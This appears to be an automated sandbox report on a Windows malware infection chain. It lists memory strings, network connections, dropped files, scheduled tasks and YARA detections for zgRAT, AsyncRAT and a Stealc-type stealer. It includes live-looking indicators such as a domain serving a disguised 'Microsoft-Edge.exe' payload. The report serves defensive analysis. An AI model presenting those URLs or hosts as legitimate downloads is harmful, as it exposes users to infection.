Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	String found in binary or memory: http://www.x-ways.net/winhex/subscribe-d.htmlU
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: penis.exe, 00000019.00000002.2964689421.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.s
Source: penis.exe, 00000019.00000002.2964689421.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, crypted.exe, 0000001C.00000002.3027013594.00000000038C5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: penis.exe, 00000019.00000002.2964689421.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ipH
Source: stealc_default2.exe, 00000017.00000002.3105854817.0000000027513000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3442582690.000000002709F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: stealc_default2.exe, 00000017.00000002.3105854817.0000000027513000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3442582690.000000002709F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ep
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.epnacl
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: stealc_default2.exe, 00000017.00000002.3105854817.0000000027513000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3442582690.000000002709F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: stealc_default2.exe, 00000017.00000002.3105854817.0000000027513000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3442582690.000000002709F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: penis.exe, 00000019.00000002.2964689421.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: axplong.exe, 00000006.00000002.3518419435.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3518419435.0000000000E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/
Source: axplong.exe, 00000006.00000002.3518419435.0000000000E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/D9
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3526057863.0000000005960000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/Microsoft-Edge.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/Microsoft-Edge.exe.exeP
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eijfrhegrtbrfcd.online/download/Microsoft-Edge.exe789
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	String found in binary or memory: https://github.com/tesseract-ocr/tessdata/
Source: svchost015.exe, 0000001E.00000002.3442582690.000000002709F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: svchost015.exe, 0000001E.00000003.3250767941.000000002D132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: svchost015.exe, 0000001E.00000003.3250767941.000000002D132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: stealc_default2.exe, 00000017.00000002.3105854817.0000000027513000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3442582690.000000002709F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: svchost015.exe, 0000001E.00000002.3324897526.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: svchost015.exe, 0000001E.00000003.3250767941.000000002D132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: svchost015.exe, 0000001E.00000002.3324897526.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: svchost015.exe, 0000001E.00000002.3324897526.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: svchost015.exe, 0000001E.00000003.3250767941.000000002D132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: svchost015.exe, 0000001E.00000003.3250767941.000000002D132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ssl.com/repository0
Source: stealc_default2.exe, 00000017.00000002.3105854817.0000000027513000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3442582690.000000002709F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.x-ways.net/forensics/x-tensions.html
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.x-ways.net/forensics/x-tensions.htmlf
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.x-ways.net/winhex/forum/
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	String found in binary or memory: https://www.x-ways.net/winhex/forum/www.x-ways.net/winhex/templates/www.x-ways.net/dongle_protection

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49644
Source: unknown	Network traffic detected: HTTP traffic on port 49647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 49635 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49638
Source: unknown	Network traffic detected: HTTP traffic on port 49646 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49647
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49635
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49646

Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.6:49635 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.6:49638 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.140.192.213:443 -> 192.168.2.6:49644 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.194:443 -> 192.168.2.6:49646 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.194:443 -> 192.168.2.6:49647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.194:443 -> 192.168.2.6:49673 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe

Code function: 16_2_004F9000 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

16_2_004F9000

Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe

Code function: 16_2_004F9000 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

16_2_004F9000

Source: penis.exe, 00000019.00000002.2964689421.00000000030EA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_f19ef452-d

Source: Yara match	File source: 30.0.svchost015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: needmoney.exe PID: 3360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost015.exe PID: 5268, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\svchost015.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File created: C:\Users\user\AppData\Local\Temp\TmpFBD.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpA462.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File created: C:\Users\user\AppData\Local\Temp\TmpB588.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpFC46.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File created: C:\Users\user\AppData\Local\Temp\TmpFCE.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpA451.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpFC35.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File created: C:\Users\user\AppData\Local\Temp\TmpB578.tmp	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 25.0.penis.exe.ac0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 38.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 35.2.rstxdhuj.exe.38efdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 35.2.rstxdhuj.exe.38a1590.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000023.00000002.3116851630.0000000002971000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000026.00000002.3514611255.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED	Matched rule: Detects zgRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, type: DROPPED	Matched rule: Detects zgRAT Author: ditekSHen

.NET source code contains very large array initializations

Source: gold[1].exe.6.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 311296
Source: gold.exe.6.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 311296

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: c6f71c9f40.exe.6.dr	Static PE information: section name:
Source: c6f71c9f40.exe.6.dr	Static PE information: section name: .rsrc
Source: c6f71c9f40.exe.6.dr	Static PE information: section name: .idata
Source: c6f71c9f40.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name:
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name: .idata
Source: 3ab68b6f1f.exe.6.dr	Static PE information: section name:

PE file has a writeable .text section

Source: stealc_default2[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: stealc_default2.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\axplong.job			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	File created: C:\Windows\Tasks\Hkbsse.job

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00243068	6_2_00243068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00204CF0	6_2_00204CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00237D83	6_2_00237D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0024765B	6_2_0024765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00204AF0	6_2_00204AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00248720	6_2_00248720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00246F09	6_2_00246F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_0024777B	6_2_0024777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00242BD0	6_2_00242BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_02A725D8	11_2_02A725D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_02A7DC74	11_2_02A7DC74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0648A6B8	11_2_0648A6B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_064867D8	11_2_064867D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06483F50	11_2_06483F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0648A688	11_2_0648A688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06486FE8	11_2_06486FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06486FF8	11_2_06486FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06486FF4	11_2_06486FF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00402320	15_2_00402320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_004050C0	15_2_004050C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00420470	15_2_00420470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040FCF0	15_2_0040FCF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00419D19	15_2_00419D19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0041951B	15_2_0041951B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00415635	15_2_00415635
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0041DEC3	15_2_0041DEC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00404F00	15_2_00404F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_0040CF8F	15_2_0040CF8F
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_00507600	16_2_00507600
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_0050004B	16_2_0050004B
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C1000	16_2_004C1000
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_0050B020	16_2_0050B020
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_005050E0	16_2_005050E0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004F40F5	16_2_004F40F5
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C91F0	16_2_004C91F0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C12A7	16_2_004C12A7
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004EA345	16_2_004EA345
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_0050B300	16_2_0050B300
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004CA3C0	16_2_004CA3C0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_00509390	16_2_00509390
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004EC390	16_2_004EC390
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C7470	16_2_004C7470
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004CB470	16_2_004CB470
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004CE470	16_2_004CE470
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C5400	16_2_004C5400
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004D1420	16_2_004D1420
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004D0480	16_2_004D0480
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004ED56C	16_2_004ED56C
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004DE52C	16_2_004DE52C
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004ED58E	16_2_004ED58E
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004F7620	16_2_004F7620
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C9737	16_2_004C9737
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C3790	16_2_004C3790
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004F27B0	16_2_004F27B0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C8810	16_2_004C8810
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004EC891	16_2_004EC891
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_00509970	16_2_00509970
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004CA910	16_2_004CA910
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C9A02	16_2_004C9A02
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_00505AD0	16_2_00505AD0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_00509B60	16_2_00509B60
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004E7B0F	16_2_004E7B0F
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004EBB00	16_2_004EBB00
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004F8C00	16_2_004F8C00
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004FFD0E	16_2_004FFD0E
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_00509E60	16_2_00509E60
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004C7E70	16_2_004C7E70
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_00507EDE	16_2_00507EDE
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004EDEF8	16_2_004EDEF8
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004CFEBC	16_2_004CFEBC
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004FEF50	16_2_004FEF50
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004CAFD0	16_2_004CAFD0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004EDFE0	16_2_004EDFE0
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_004CBF80	16_2_004CBF80
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: 16_2_00508F80	16_2_00508F80
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_0319DC74	17_2_0319DC74
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_058E6948	17_2_058E6948
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_058E7C20	17_2_058E7C20
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_058E0006	17_2_058E0006
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_058E0040	17_2_058E0040
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_058E7C10	17_2_058E7C10
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AFA3E8	17_2_06AFA3E8
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AFA3B7	17_2_06AFA3B7
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF6FEB	17_2_06AF6FEB
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF6FF8	17_2_06AF6FF8
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Code function: 17_2_06AF6860	17_2_06AF6860

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe

Process token adjusted: Security

Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: String function: 004CED80 appears 194 times
Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe	Code function: String function: 004CCAD0 appears 53 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00407D30 appears 55 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 644 -s 908

Source: Microsoft-Edge.exe.6.dr	Static PE information: Number of sections : 18 > 10
Source: Microsoft-Edge[1].exe.6.dr	Static PE information: Number of sections : 18 > 10

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 25.0.penis.exe.ac0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 38.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
